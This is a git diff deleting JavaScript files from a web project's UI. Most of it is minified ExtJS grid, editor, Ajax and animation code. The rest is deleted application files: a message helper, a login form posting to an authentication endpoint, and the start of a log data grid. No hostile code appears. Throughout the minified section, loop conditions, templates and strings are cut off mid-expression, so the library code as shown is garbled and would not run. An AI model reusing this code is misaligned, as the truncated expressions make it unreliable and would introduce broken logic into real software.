b=0,a=c.length;b=a;c--){this.selectRow(c,true)}}},deselectRange:function(c,b,a){if(this.isLocked()){return}for(var d=c;d<=b;d++){this.deselectRow(d,a)}},selectRow:function(b,d,a){if(this.isLocked()||(b<0||b>=this.grid.store.getCount())||(d&&this.isSelected(b))){return}var c=this.grid.store.getAt(b);if(c&&this.fireEvent("beforerowselect",this,b,d,c)!==false){if(!d||this.singleSelect){this.clearSelections()}this.selections.add(c);this.last=this.lastActive=b;if(!a){this.grid.getView().onRowSelect(b)}if(!this.silent){this.fireEvent("rowselect",this,b,c);this.fireEvent("selectionchange",this)}}},deselectRow:function(b,a){if(this.isLocked()){return}if(this.last==b){this.last=false}if(this.lastActive==b){this.lastActive=false}var c=this.grid.store.getAt(b);if(c){this.selections.remove(c);if(!a){this.grid.getView().onRowDeselect(b)}this.fireEvent("rowdeselect",this,b,c);this.fireEvent("selectionchange",this)}},acceptsNav:function(c,b,a){return !a.isHidden(b)&&a.isCellEditable(b,c)},onEditorKey:function(o,m){var d=m.getKey(),h,i=this.grid,q=i.lastEdit,l=i.activeEditor,b=m.shiftKey,p,q,a,n;if(d==m.TAB){m.stopEvent();l.completeEdit();if(b){h=i.walkCells(l.row,l.col-1,-1,this.acceptsNav,this)}else{h=i.walkCells(l.row,l.col+1,1,this.acceptsNav,this)}}else{if(d==m.ENTER){if(this.moveEditorOnEnter!==false){if(b){h=i.walkCells(q.row-1,q.col,-1,this.acceptsNav,this)}else{h=i.walkCells(q.row+1,q.col,1,this.acceptsNav,this)}}}}if(h){a=h[0];n=h[1];this.onEditorSelect(a,q.row);if(i.isEditor&&i.editing){p=i.activeEditor;if(p&&p.field.triggerBlur){p.field.triggerBlur()}}i.startEditing(a,n)}},onEditorSelect:function(b,a){if(a!=b){this.selectRow(b)}},destroy:function(){Ext.destroy(this.rowNav);this.rowNav=null;Ext.grid.RowSelectionModel.superclass.destroy.call(this)}});Ext.grid.Column=Ext.extend(Ext.util.Observable,{isColumn:true,constructor:function(b){Ext.apply(this,b);if(Ext.isString(this.renderer)){this.renderer=Ext.util.Format[this.renderer]}else{if(Ext.isObject(this.renderer)){this.scope=this.renderer.scope;this.renderer=this.renderer.fn}}if(!this.scope){this.scope=this}var a=this.editor;delete this.editor;this.setEditor(a);this.addEvents("click","contextmenu","dblclick","mousedown");Ext.grid.Column.superclass.constructor.call(this)},processEvent:function(b,d,c,g,a){return this.fireEvent(b,this,c,g,d)},destroy:function(){if(this.setEditor){this.setEditor(null)}this.purgeListeners()},renderer:function(a){return a},getEditor:function(a){return this.editable!==false?this.editor:null},setEditor:function(b){var a=this.editor;if(a){if(a.gridEditor){a.gridEditor.destroy();delete a.gridEditor}else{a.destroy()}}this.editor=null;if(b){if(!b.isXType){b=Ext.create(b,"textfield")}this.editor=b}},getCellEditor:function(b){var a=this.getEditor(b);if(a){if(!a.startEdit){if(!a.gridEditor){a.gridEditor=new Ext.grid.GridEditor(a)}a=a.gridEditor}}return a}});Ext.grid.BooleanColumn=Ext.extend(Ext.grid.Column,{trueText:"true",falseText:"false",undefinedText:" ",constructor:function(a){Ext.grid.BooleanColumn.superclass.constructor.call(this,a);var c=this.trueText,d=this.falseText,b=this.undefinedText;this.renderer=function(e){if(e===undefined){return b}if(!e||e==="false"){return d}return c}}});Ext.grid.NumberColumn=Ext.extend(Ext.grid.Column,{format:"0,000.00",constructor:function(a){Ext.grid.NumberColumn.superclass.constructor.call(this,a);this.renderer=Ext.util.Format.numberRenderer(this.format)}});Ext.grid.DateColumn=Ext.extend(Ext.grid.Column,{format:"m/d/Y",constructor:function(a){Ext.grid.DateColumn.superclass.constructor.call(this,a);this.renderer=Ext.util.Format.dateRenderer(this.format)}});Ext.grid.TemplateColumn=Ext.extend(Ext.grid.Column,{constructor:function(a){Ext.grid.TemplateColumn.superclass.constructor.call(this,a);var b=(!Ext.isPrimitive(this.tpl)&&this.tpl.compile)?this.tpl:new Ext.XTemplate(this.tpl);this.renderer=function(d,e,c){return b.apply(c.data)};this.tpl=b}});Ext.grid.ActionColumn=Ext.extend(Ext.grid.Column,{header:" ",actionIdRe:/x-action-col-(\d+)/,altText:"",constructor:function(b){var g=this,c=b.items||(g.items=[g]),a=c.length,d,e;Ext.grid.ActionColumn.superclass.constructor.call(g,b);g.renderer=function(h,i){h=Ext.isFunction(b.renderer)?b.renderer.apply(this,arguments)||"":"";i.css+=" x-action-col-cell";for(d=0;d"}return h}},destroy:function(){delete this.items;delete this.renderer;return Ext.grid.ActionColumn.superclass.destroy.apply(this,arguments)},processEvent:function(c,i,d,k,b){var a=i.getTarget().className.match(this.actionIdRe),h,g;if(a&&(h=this.items[parseInt(a[1],10)])){if(c=="click"){(g=h.handler||this.handler)&&g.call(h.scope||this.scope||this,d,k,b,h,i)}else{if((c=="mousedown")&&(h.stopSelection!==false)){return false}}}return Ext.grid.ActionColumn.superclass.processEvent.apply(this,arguments)}});Ext.grid.Column.types={gridcolumn:Ext.grid.Column,booleancolumn:Ext.grid.BooleanColumn,numbercolumn:Ext.grid.NumberColumn,datecolumn:Ext.grid.DateColumn,templatecolumn:Ext.grid.TemplateColumn,actioncolumn:Ext.grid.ActionColumn};Ext.grid.RowNumberer=Ext.extend(Object,{header:"",width:23,sortable:false,constructor:function(a){Ext.apply(this,a);if(this.rowspan){this.renderer=this.renderer.createDelegate(this)}},fixed:true,hideable:false,menuDisabled:true,dataIndex:"",id:"numberer",rowspan:undefined,renderer:function(b,c,a,d){if(this.rowspan){c.cellAttr='rowspan="'+this.rowspan+'"'}return d+1}});Ext.grid.CheckboxSelectionModel=Ext.extend(Ext.grid.RowSelectionModel,{header:'
 
',width:20,sortable:false,menuDisabled:true,fixed:true,hideable:false,dataIndex:"",id:"checker",isColumn:true,constructor:function(){Ext.grid.CheckboxSelectionModel.superclass.constructor.apply(this,arguments);if(this.checkOnly){this.handleMouseDown=Ext.emptyFn}},initEvents:function(){Ext.grid.CheckboxSelectionModel.superclass.initEvents.call(this);this.grid.on("render",function(){Ext.fly(this.grid.getView().innerHd).on("mousedown",this.onHdMouseDown,this)},this)},processEvent:function(b,d,c,g,a){if(b=="mousedown"){this.onMouseDown(d,d.getTarget());return false}else{return Ext.grid.Column.prototype.processEvent.apply(this,arguments)}},onMouseDown:function(c,b){if(c.button===0&&b.className=="x-grid3-row-checker"){c.stopEvent();var d=c.getTarget(".x-grid3-row");if(d){var a=d.rowIndex;if(this.isSelected(a)){this.deselectRow(a)}else{this.selectRow(a,true);this.grid.getView().focusRow(a)}}}},onHdMouseDown:function(c,a){if(a.className=="x-grid3-hd-checker"){c.stopEvent();var b=Ext.fly(a.parentNode);var d=b.hasClass("x-grid3-hd-checker-on");if(d){b.removeClass("x-grid3-hd-checker-on");this.clearSelections()}else{b.addClass("x-grid3-hd-checker-on");this.selectAll()}}},renderer:function(b,c,a){return'
 
'},onEditorSelect:function(b,a){if(a!=b&&!this.checkOnly){this.selectRow(b)}}});Ext.grid.CellSelectionModel=Ext.extend(Ext.grid.AbstractSelectionModel,{constructor:function(a){Ext.apply(this,a);this.selection=null;this.addEvents("beforecellselect","cellselect","selectionchange");Ext.grid.CellSelectionModel.superclass.constructor.call(this)},initEvents:function(){this.grid.on("cellmousedown",this.handleMouseDown,this);this.grid.on(Ext.EventManager.getKeyEvent(),this.handleKeyDown,this);this.grid.getView().on({scope:this,refresh:this.onViewChange,rowupdated:this.onRowUpdated,beforerowremoved:this.clearSelections,beforerowsinserted:this.clearSelections});if(this.grid.isEditor){this.grid.on("beforeedit",this.beforeEdit,this)}},beforeEdit:function(a){this.select(a.row,a.column,false,true,a.record)},onRowUpdated:function(a,b,c){if(this.selection&&this.selection.record==c){a.onCellSelect(b,this.selection.cell[1])}},onViewChange:function(){this.clearSelections(true)},getSelectedCell:function(){return this.selection?this.selection.cell:null},clearSelections:function(b){var a=this.selection;if(a){if(b!==true){this.grid.view.onCellDeselect(a.cell[0],a.cell[1])}this.selection=null;this.fireEvent("selectionchange",this,null)}},hasSelection:function(){return this.selection?true:false},handleMouseDown:function(b,d,a,c){if(c.button!==0||this.isLocked()){return}this.select(d,a)},select:function(g,c,b,e,d){if(this.fireEvent("beforecellselect",this,g,c)!==false){this.clearSelections();d=d||this.grid.store.getAt(g);this.selection={record:d,cell:[g,c]};if(!b){var a=this.grid.getView();a.onCellSelect(g,c);if(e!==true){a.focusCell(g,c)}}this.fireEvent("cellselect",this,g,c);this.fireEvent("selectionchange",this,this.selection)}},isSelectable:function(c,b,a){return !a.isHidden(b)},onEditorKey:function(b,a){if(a.getKey()==a.TAB){this.handleKeyDown(a)}},handleKeyDown:function(l){if(!l.isNavKeyPress()){return}var d=l.getKey(),i=this.grid,q=this.selection,b=this,n=function(g,c,e){return i.walkCells(g,c,e,i.isEditor&&i.editing?b.acceptsNav:b.isSelectable,b)},p,h,a,m,o;switch(d){case l.ESC:case l.PAGE_UP:case l.PAGE_DOWN:break;default:l.stopEvent();break}if(!q){p=n(0,0,1);if(p){this.select(p[0],p[1])}return}p=q.cell;a=p[0];m=p[1];switch(d){case l.TAB:if(l.shiftKey){h=n(a,m-1,-1)}else{h=n(a,m+1,1)}break;case l.DOWN:h=n(a+1,m,1);break;case l.UP:h=n(a-1,m,-1);break;case l.RIGHT:h=n(a,m+1,1);break;case l.LEFT:h=n(a,m-1,-1);break;case l.ENTER:if(i.isEditor&&!i.editing){i.startEditing(a,m);return}break}if(h){a=h[0];m=h[1];this.select(a,m);if(i.isEditor&&i.editing){o=i.activeEditor;if(o&&o.field.triggerBlur){o.field.triggerBlur()}i.startEditing(a,m)}}},acceptsNav:function(c,b,a){return !a.isHidden(b)&&a.isCellEditable(b,c)}});Ext.grid.EditorGridPanel=Ext.extend(Ext.grid.GridPanel,{clicksToEdit:2,forceValidation:false,isEditor:true,detectEdit:false,autoEncode:false,trackMouseOver:false,initComponent:function(){Ext.grid.EditorGridPanel.superclass.initComponent.call(this);if(!this.selModel){this.selModel=new Ext.grid.CellSelectionModel()}this.activeEditor=null;this.addEvents("beforeedit","afteredit","validateedit")},initEvents:function(){Ext.grid.EditorGridPanel.superclass.initEvents.call(this);this.getGridEl().on("mousewheel",this.stopEditing.createDelegate(this,[true]),this);this.on("columnresize",this.stopEditing,this,[true]);if(this.clicksToEdit==1){this.on("cellclick",this.onCellDblClick,this)}else{var a=this.getView();if(this.clicksToEdit=="auto"&&a.mainBody){a.mainBody.on("mousedown",this.onAutoEditClick,this)}this.on("celldblclick",this.onCellDblClick,this)}},onResize:function(){Ext.grid.EditorGridPanel.superclass.onResize.apply(this,arguments);var a=this.activeEditor;if(this.editing&&a){a.realign(true)}},onCellDblClick:function(b,c,a){this.startEditing(c,a)},onAutoEditClick:function(c,b){if(c.button!==0){return}var g=this.view.findRowIndex(b),a=this.view.findCellIndex(b);if(g!==false&&a!==false){this.stopEditing();if(this.selModel.getSelectedCell){var d=this.selModel.getSelectedCell();if(d&&d[0]===g&&d[1]===a){this.startEditing(g,a)}}else{if(this.selModel.isSelected(g)){this.startEditing(g,a)}}}},onEditComplete:function(b,d,a){this.editing=false;this.lastActiveEditor=this.activeEditor;this.activeEditor=null;var c=b.record,h=this.colModel.getDataIndex(b.col);d=this.postEditValue(d,a,c,h);if(this.forceValidation===true||String(d)!==String(a)){var g={grid:this,record:c,field:h,originalValue:a,value:d,row:b.row,column:b.col,cancel:false};if(this.fireEvent("validateedit",g)!==false&&!g.cancel&&String(d)!==String(a)){c.set(h,g.value);delete g.cancel;this.fireEvent("afteredit",g)}}this.view.focusCell(b.row,b.col)},startEditing:function(i,c){this.stopEditing();if(this.colModel.isCellEditable(c,i)){this.view.ensureVisible(i,c,true);var d=this.store.getAt(i),h=this.colModel.getDataIndex(c),g={grid:this,record:d,field:h,value:d.data[h],row:i,column:c,cancel:false};if(this.fireEvent("beforeedit",g)!==false&&!g.cancel){this.editing=true;var b=this.colModel.getCellEditor(c,i);if(!b){return}if(!b.rendered){b.parentEl=this.view.getEditorParent(b);b.on({scope:this,render:{fn:function(e){e.field.focus(false,true)},single:true,scope:this},specialkey:function(l,k){this.getSelectionModel().onEditorKey(l,k)},complete:this.onEditComplete,canceledit:this.stopEditing.createDelegate(this,[true])})}Ext.apply(b,{row:i,col:c,record:d});this.lastEdit={row:i,col:c};this.activeEditor=b;b.selectSameEditor=(this.activeEditor==this.lastActiveEditor);var a=this.preEditValue(d,h);b.startEdit(this.view.getCell(i,c).firstChild,Ext.isDefined(a)?a:"");(function(){delete b.selectSameEditor}).defer(50)}}},preEditValue:function(a,c){var b=a.data[c];return this.autoEncode&&Ext.isString(b)?Ext.util.Format.htmlDecode(b):b},postEditValue:function(c,a,b,d){return this.autoEncode&&Ext.isString(c)?Ext.util.Format.htmlEncode(c):c},stopEditing:function(b){if(this.editing){var a=this.lastActiveEditor=this.activeEditor;if(a){a[b===true?"cancelEdit":"completeEdit"]();this.view.focusCell(a.row,a.col)}this.activeEditor=null}this.editing=false}});Ext.reg("editorgrid",Ext.grid.EditorGridPanel);Ext.grid.GridEditor=function(b,a){Ext.grid.GridEditor.superclass.constructor.call(this,b,a);b.monitorTab=false};Ext.extend(Ext.grid.GridEditor,Ext.Editor,{alignment:"tl-tl",autoSize:"width",hideEl:false,cls:"x-small-editor x-grid-editor",shim:false,shadow:false});Ext.grid.PropertyRecord=Ext.data.Record.create([{name:"name",type:"string"},"value"]);Ext.grid.PropertyStore=Ext.extend(Ext.util.Observable,{constructor:function(a,b){this.grid=a;this.store=new Ext.data.Store({recordType:Ext.grid.PropertyRecord});this.store.on("update",this.onUpdate,this);if(b){this.setSource(b)}Ext.grid.PropertyStore.superclass.constructor.call(this)},setSource:function(c){this.source=c;this.store.removeAll();var b=[];for(var a in c){if(this.isEditableValue(c[a])){b.push(new Ext.grid.PropertyRecord({name:a,value:c[a]},a))}}this.store.loadRecords({records:b},{},true)},onUpdate:function(e,a,d){if(d==Ext.data.Record.EDIT){var b=a.data.value;var c=a.modified.value;if(this.grid.fireEvent("beforepropertychange",this.source,a.id,b,c)!==false){this.source[a.id]=b;a.commit();this.grid.fireEvent("propertychange",this.source,a.id,b,c)}else{a.reject()}}},getProperty:function(a){return this.store.getAt(a)},isEditableValue:function(a){return Ext.isPrimitive(a)||Ext.isDate(a)},setValue:function(d,c,a){var b=this.getRec(d);if(b){b.set("value",c);this.source[d]=c}else{if(a){this.source[d]=c;b=new Ext.grid.PropertyRecord({name:d,value:c},d);this.store.add(b)}}},remove:function(b){var a=this.getRec(b);if(a){this.store.remove(a);delete this.source[b]}},getRec:function(a){return this.store.getById(a)},getSource:function(){return this.source}});Ext.grid.PropertyColumnModel=Ext.extend(Ext.grid.ColumnModel,{nameText:"Name",valueText:"Value",dateFormat:"m/j/Y",trueText:"true",falseText:"false",constructor:function(c,b){var d=Ext.grid,e=Ext.form;this.grid=c;d.PropertyColumnModel.superclass.constructor.call(this,[{header:this.nameText,width:50,sortable:true,dataIndex:"name",id:"name",menuDisabled:true},{header:this.valueText,width:50,resizable:false,dataIndex:"value",id:"value",menuDisabled:true}]);this.store=b;var a=new e.Field({autoCreate:{tag:"select",children:[{tag:"option",value:"true",html:this.trueText},{tag:"option",value:"false",html:this.falseText}]},getValue:function(){return this.el.dom.value=="true"}});this.editors={date:new d.GridEditor(new e.DateField({selectOnFocus:true})),string:new d.GridEditor(new e.TextField({selectOnFocus:true})),number:new d.GridEditor(new e.NumberField({selectOnFocus:true,style:"text-align:left;"})),"boolean":new d.GridEditor(a,{autoSize:"both"})};this.renderCellDelegate=this.renderCell.createDelegate(this);this.renderPropDelegate=this.renderProp.createDelegate(this)},renderDate:function(a){return a.dateFormat(this.dateFormat)},renderBool:function(a){return this[a?"trueText":"falseText"]},isCellEditable:function(a,b){return a==1},getRenderer:function(a){return a==1?this.renderCellDelegate:this.renderPropDelegate},renderProp:function(a){return this.getPropertyName(a)},renderCell:function(d,b,c){var a=this.grid.customRenderers[c.get("name")];if(a){return a.apply(this,arguments)}var e=d;if(Ext.isDate(d)){e=this.renderDate(d)}else{if(typeof d=="boolean"){e=this.renderBool(d)}}return Ext.util.Format.htmlEncode(e)},getPropertyName:function(b){var a=this.grid.propertyNames;return a&&a[b]?a[b]:b},getCellEditor:function(a,e){var b=this.store.getProperty(e),d=b.data.name,c=b.data.value;if(this.grid.customEditors[d]){return this.grid.customEditors[d]}if(Ext.isDate(c)){return this.editors.date}else{if(typeof c=="number"){return this.editors.number}else{if(typeof c=="boolean"){return this.editors["boolean"]}else{return this.editors.string}}}},destroy:function(){Ext.grid.PropertyColumnModel.superclass.destroy.call(this);this.destroyEditors(this.editors);this.destroyEditors(this.grid.customEditors)},destroyEditors:function(b){for(var a in b){Ext.destroy(b[a])}}});Ext.grid.PropertyGrid=Ext.extend(Ext.grid.EditorGridPanel,{enableColumnMove:false,stripeRows:false,trackMouseOver:false,clicksToEdit:1,enableHdMenu:false,viewConfig:{forceFit:true},initComponent:function(){this.customRenderers=this.customRenderers||{};this.customEditors=this.customEditors||{};this.lastEditRow=null;var b=new Ext.grid.PropertyStore(this);this.propStore=b;var a=new Ext.grid.PropertyColumnModel(this,b);b.store.sort("name","ASC");this.addEvents("beforepropertychange","propertychange");this.cm=a;this.ds=b.store;Ext.grid.PropertyGrid.superclass.initComponent.call(this);this.mon(this.selModel,"beforecellselect",function(e,d,c){if(c===0){this.startEditing.defer(200,this,[d,1]);return false}},this)},onRender:function(){Ext.grid.PropertyGrid.superclass.onRender.apply(this,arguments);this.getGridEl().addClass("x-props-grid")},afterRender:function(){Ext.grid.PropertyGrid.superclass.afterRender.apply(this,arguments);if(this.source){this.setSource(this.source)}},setSource:function(a){this.propStore.setSource(a)},getSource:function(){return this.propStore.getSource()},setProperty:function(c,b,a){this.propStore.setValue(c,b,a)},removeProperty:function(a){this.propStore.remove(a)}});Ext.reg("propertygrid",Ext.grid.PropertyGrid);Ext.grid.GroupingView=Ext.extend(Ext.grid.GridView,{groupByText:"Group By This Field",showGroupsText:"Show in Groups",hideGroupedColumn:false,showGroupName:true,startCollapsed:false,enableGrouping:true,enableGroupingMenu:true,enableNoGroups:true,emptyGroupText:"(None)",ignoreAdd:false,groupTextTpl:"{text}",groupMode:"value",cancelEditOnToggle:true,initTemplates:function(){Ext.grid.GroupingView.superclass.initTemplates.call(this);this.state={};var a=this.grid.getSelectionModel();a.on(a.selectRow?"beforerowselect":"beforecellselect",this.onBeforeRowSelect,this);if(!this.startGroup){this.startGroup=new Ext.XTemplate('
','
',this.groupTextTpl,"
",'
')}this.startGroup.compile();if(!this.endGroup){this.endGroup="
"}},findGroup:function(a){return Ext.fly(a).up(".x-grid-group",this.mainBody.dom)},getGroups:function(){return this.hasRows()?this.mainBody.dom.childNodes:[]},onAdd:function(d,a,b){if(this.canGroup()&&!this.ignoreAdd){var c=this.getScrollState();this.fireEvent("beforerowsinserted",d,b,b+(a.length-1));this.refresh();this.restoreScroll(c);this.fireEvent("rowsinserted",d,b,b+(a.length-1))}else{if(!this.canGroup()){Ext.grid.GroupingView.superclass.onAdd.apply(this,arguments)}}},onRemove:function(e,a,b,d){Ext.grid.GroupingView.superclass.onRemove.apply(this,arguments);var c=document.getElementById(a._groupId);if(c&&c.childNodes[1].childNodes.length<1){Ext.removeNode(c)}this.applyEmptyText()},refreshRow:function(a){if(this.ds.getCount()==1){this.refresh()}else{this.isUpdating=true;Ext.grid.GroupingView.superclass.refreshRow.apply(this,arguments);this.isUpdating=false}},beforeMenuShow:function(){var c,a=this.hmenu.items,b=this.cm.config[this.hdCtxIndex].groupable===false;if((c=a.get("groupBy"))){c.setDisabled(b)}if((c=a.get("showGroups"))){c.setDisabled(b);c.setChecked(this.canGroup(),true)}},renderUI:function(){var a=Ext.grid.GroupingView.superclass.renderUI.call(this);if(this.enableGroupingMenu&&this.hmenu){this.hmenu.add("-",{itemId:"groupBy",text:this.groupByText,handler:this.onGroupByClick,scope:this,iconCls:"x-group-by-icon"});if(this.enableNoGroups){this.hmenu.add({itemId:"showGroups",text:this.showGroupsText,checked:true,checkHandler:this.onShowGroupsClick,scope:this})}this.hmenu.on("beforeshow",this.beforeMenuShow,this)}return a},processEvent:function(b,i){Ext.grid.GroupingView.superclass.processEvent.call(this,b,i);var h=i.getTarget(".x-grid-group-hd",this.mainBody);if(h){var g=this.getGroupField(),d=this.getPrefix(g),a=h.id.substring(d.length),c=new RegExp("gp-"+Ext.escapeRe(g)+"--hd");a=a.substr(0,a.length-3);if(a||c.test(h.id)){this.grid.fireEvent("group"+b,this.grid,g,a,i)}if(b=="mousedown"&&i.button==0){this.toggleGroup(h.parentNode)}}},onGroupByClick:function(){var a=this.grid;this.enableGrouping=true;a.store.groupBy(this.cm.getDataIndex(this.hdCtxIndex));a.fireEvent("groupchange",a,a.store.getGroupState());this.beforeMenuShow();this.refresh()},onShowGroupsClick:function(a,b){this.enableGrouping=b;if(b){this.onGroupByClick()}else{this.grid.store.clearGrouping();this.grid.fireEvent("groupchange",this,null)}},toggleRowIndex:function(c,a){if(!this.canGroup()){return}var b=this.getRow(c);if(b){this.toggleGroup(this.findGroup(b),a)}},toggleGroup:function(c,b){var a=Ext.get(c);b=Ext.isDefined(b)?b:a.hasClass("x-grid-group-collapsed");if(this.state[a.id]!==b){if(this.cancelEditOnToggle!==false){this.grid.stopEditing(true)}this.state[a.id]=b;a[b?"removeClass":"addClass"]("x-grid-group-collapsed")}},toggleAllGroups:function(c){var b=this.getGroups();for(var d=0,a=b.length;d0){return setTimeout(d,c)}d();return 0}});Ext.applyIf(String,{format:function(b){var a=Ext.toArray(arguments,1);return b.replace(/\{(\d+)\}/g,function(c,d){return a[d]})}});Ext.applyIf(Array.prototype,{indexOf:function(b,c){var a=this.length;c=c||0;c+=(c<0)?a:0;for(;c0){for(var p=0;p0);if(!A){A=true;for(I=0;I=0){B=s.substr(0,A).toLowerCase();if(s.charAt(A+1)==" "){++A}C[B]=s.substr(A+1)}})}catch(z){}return{tId:u.tId,status:v?204:w.status,statusText:v?"No Content":w.statusText,getResponseHeader:function(s){return C[s.toLowerCase()]},getAllResponseHeaders:function(){return x},responseText:w.responseText,responseXML:w.responseXML,argument:y}}function o(s){if(s.tId){k.conn[s.tId]=null}s.conn=null;s=null}function f(x,y,t,s){if(!y){o(x);return}var v,u;try{if(x.conn.status!==undefined&&x.conn.status!=0){v=x.conn.status}else{v=13030}}catch(w){v=13030}if((v>=200&&v<300)||(Ext.isIE&&v==1223)){u=p(x,y.argument);if(y.success){if(!y.scope){y.success(u)}else{y.success.apply(y.scope,[u])}}}else{switch(v){case 12002:case 12029:case 12030:case 12031:case 12152:case 13030:u=e(x.tId,y.argument,(t?t:false),s);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}break;default:u=p(x,y.argument);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}}}o(x);u=null}function m(u,x,s,w,t,v){if(s&&s.readyState==4){clearInterval(t[w]);t[w]=null;if(v){clearTimeout(k.timeout[w]);k.timeout[w]=null}f(u,x)}}function r(s,t){k.abort(s,t,true)}function n(u,x){x=x||{};var s=u.conn,w=u.tId,t=k.poll,v=x.timeout||null;if(v){k.conn[w]=s;k.timeout[w]=setTimeout(r.createCallback(u,x),v)}t[w]=setInterval(m.createCallback(u,x,s,w,t,v),k.pollInterval)}function i(w,t,v,s){var u=l()||null;if(u){u.conn.open(w,t,true);if(k.useDefaultXhrHeader){j("X-Requested-With",k.defaultXhrHeader)}if(s&&k.useDefaultHeader&&(!k.headers||!k.headers[d])){j(d,k.defaultPostHeader)}if(k.defaultHeaders||k.headers){h(u)}n(u,v);u.conn.send(s||null)}return u}function l(){var t;try{if(t=q(k.transactionId)){k.transactionId++}}catch(s){}finally{return t}}function q(v){var s;try{s=new XMLHttpRequest()}catch(u){for(var t=0;t0&&isFinite(w)){if(r.curFrame+w>=v){w=v-(u+1)}r.curFrame+=w}}};g.Bezier=new function(){this.getPosition=function(p,o){var r=p.length,m=[],q=1-o,l,k;for(l=0;l0&&!Ext.isArray(s[0])){s=[s]}else{}Ext.fly(p,"_anim").position();A.setXY(p,j(x)?x:A.getXY(p));o=w.getAttr("points");if(j(y)){q=k.call(w,y,o);for(r=0,t=s.length;r0){n=n.concat(s)}n[n.length]=q}else{m.setRunAttr.call(this,u)}}});var k=function(n,p){var o=g.Dom.getXY(this.el);return[n[0]-o[0]+p[0],n[1]-o[1]+p[1]]}})()})();(function(){var d=Math.abs,i=Math.PI,h=Math.asin,g=Math.pow,e=Math.sin,f=Ext.lib;Ext.apply(f.Easing,{easeBoth:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k+j:-m/2*((--k)*(k-2)-1)+j},easeInStrong:function(k,j,m,l){return m*(k/=l)*k*k*k+j},easeOutStrong:function(k,j,m,l){return -m*((k=k/l-1)*k*k*k-1)+j},easeBothStrong:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k*k*k+j:-m/2*((k-=2)*k*k*k-2)+j},elasticIn:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return -(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j},elasticOut:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return k*g(2,-10*l)*e((l*o-m)*(2*i)/n)+q+j},elasticBoth:function(l,j,q,o,k,n){if(l==0||(l/=o/2)==2){return l==0?j:j+q}n=n||(o*(0.3*1.5));var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return l<1?-0.5*(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j:k*g(2,-10*(l-=1))*e((l*o-m)*(2*i)/n)*0.5+q+j},backIn:function(k,j,n,m,l){l=l||1.70158;return n*(k/=m)*k*((l+1)*k-l)+j},backOut:function(k,j,n,m,l){if(!l){l=1.70158}return n*((k=k/m-1)*k*((l+1)*k+l)+1)+j},backBoth:function(k,j,n,m,l){l=l||1.70158;return((k/=m/2)<1)?n/2*(k*k*(((l*=(1.525))+1)*k-l))+j:n/2*((k-=2)*k*(((l*=(1.525))+1)*k+l)+2)+j},bounceIn:function(k,j,m,l){return m-f.Easing.bounceOut(l-k,0,m,l)+j},bounceOut:function(k,j,m,l){if((k/=l)<(1/2.75)){return m*(7.5625*k*k)+j}else{if(k<(2/2.75)){return m*(7.5625*(k-=(1.5/2.75))*k+0.75)+j}else{if(k<(2.5/2.75)){return m*(7.5625*(k-=(2.25/2.75))*k+0.9375)+j}}}return m*(7.5625*(k-=(2.625/2.75))*k+0.984375)+j},bounceBoth:function(k,j,m,l){return(k', - '
', - '

', t, '

', s, '
', - '
', - ''].join(''); - } - return { - msg : function(title, format){ - if(!msgCt){ - msgCt = Ext.DomHelper.insertFirst(document.body, {id:'msg-div'}, true); - } - msgCt.alignTo(document, 't-t'); - var s = String.format.apply(String, Array.prototype.slice.call(arguments, 1)); - var m = Ext.DomHelper.append(msgCt, {html:createBox(title, s)}, true); - m.slideIn('t').pause(1).ghost("t", {remove:true}); - }, - - init : function(){ - - var lb = Ext.get('lib-bar'); - if(lb){ - lb.show(); - } - } - }; -}(); \ No newline at end of file diff --git a/public/javascript/ui/authentication.js b/public/javascript/ui/authentication.js deleted file mode 100644 index b19a6c663..000000000 --- a/public/javascript/ui/authentication.js +++ /dev/null @@ -1,73 +0,0 @@ -Ext.onReady(function() { - - var bd = Ext.getBody(); - - // xntrik 9/7/10 this is the functionality to try and submit the form - submitAuthForm = function() { - login_form.getForm().submit({ - waitMsg: 'Logging in ...', - success: function() { - window.location.href = '/ui/panel' - }, - failure: function() { - Ext.MessageBox.alert('Message', 'Error with username or password') - } - }); - } - - - var login_form = new Ext.form.FormPanel({ - - url: 'authentication/login', - formId: 'login_form', - labelWidth: 125, - frame: true, - title: 'Authentication', - bodyStyle:'padding:5px 5px 0', - width: 350, - - defaults: { - width: 175, - inputType: 'password' - }, - - defaultType: 'textfield', - - items: [{ - fieldLabel: 'Username', - name: 'username-cfrm', - inputType: 'textfield', - id: 'user', - listeners: { // xntrik 9/7/10 added this listener so form submits on enter - specialkey: function(field,e) { - if (e.getKey() == e.ENTER) { - submitAuthForm(); - } - } - } - },{ - fieldLabel: 'Password', - name: 'password-cfrm', - inputType: 'password', - id: 'pass', - listeners: { // xntrik 9/7/10 added this listener so form submits on enter - specialkey: function(field,e) { - if (e.getKey() == e.ENTER) { - submitAuthForm(); - } - } - } - }], - - buttons: [{ - text: 'Login', - handler: function() { - submitAuthForm(); - } - }] - }); - - login_form.render('centered'); - document.getElementById('user').focus(); //xntrik 27/7/10 - this doesn't throw warnings now - -}); diff --git a/public/javascript/ui/panel/DataGrid.js b/public/javascript/ui/panel/DataGrid.js deleted file mode 100644 index a7303bec1..000000000 --- a/public/javascript/ui/panel/DataGrid.js +++ /dev/null @@ -1,89 +0,0 @@ - -DataGrid = function(url, page, base) { - this.page = page; - this.url = url; - this.base = typeof(base) != 'undefined' ? base : {}; - - this.store = new Ext.ux.data.PagingJsonStore({ - root: 'logs', - autoDestroy: true, - autoLoad: false, - url: this.url, - storeId: 'myStore', - baseParams: this.base, - idProperty: 'id', - fields: ['id','type','event','date'], - totalProperty: 'count', - remoteSort: false, - sortInfo: {field: "date", direction: "DESC"} - }); - - this.bbar = new Ext.PagingToolbar({ - pageSize: this.page, - store: this.store, - displayInfo: true, - displayMsg: 'Displaying logs {0} - {1} of {2}', - emptyMsg: 'No logs to display' - }); - - this.columns = [{ - id: 'log-id', - header: 'Id', - hidden: true, - dataIndex: 'id', 